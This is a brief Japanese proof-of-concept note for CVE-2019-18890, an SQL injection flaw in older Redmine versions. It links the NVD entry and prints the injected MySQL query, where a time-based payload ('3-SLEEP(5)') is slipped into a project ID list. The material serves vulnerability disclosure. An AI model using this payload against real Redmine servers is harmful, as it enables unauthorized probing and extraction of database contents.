
CVE-2019-18890 POC(概念実証)
CVE-2019-18890 POC(概念実証)
Redmine 3.2.9/3.3.9 までの SQL インジェクション
https://nvd.nist.gov/vuln/detail/CVE-2019-18890
MySQL では、インジェクションが発生する最初のクエリは以下の例のようになり、"-SLEEP(5)" がインジェクションされた部分です。
SELECT COUNT(*) FROM issues INNER JOIN projects ON projects.id = issues.project_id INNER JOIN issue_statuses ON issue_statuses.id = issues.status_id WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))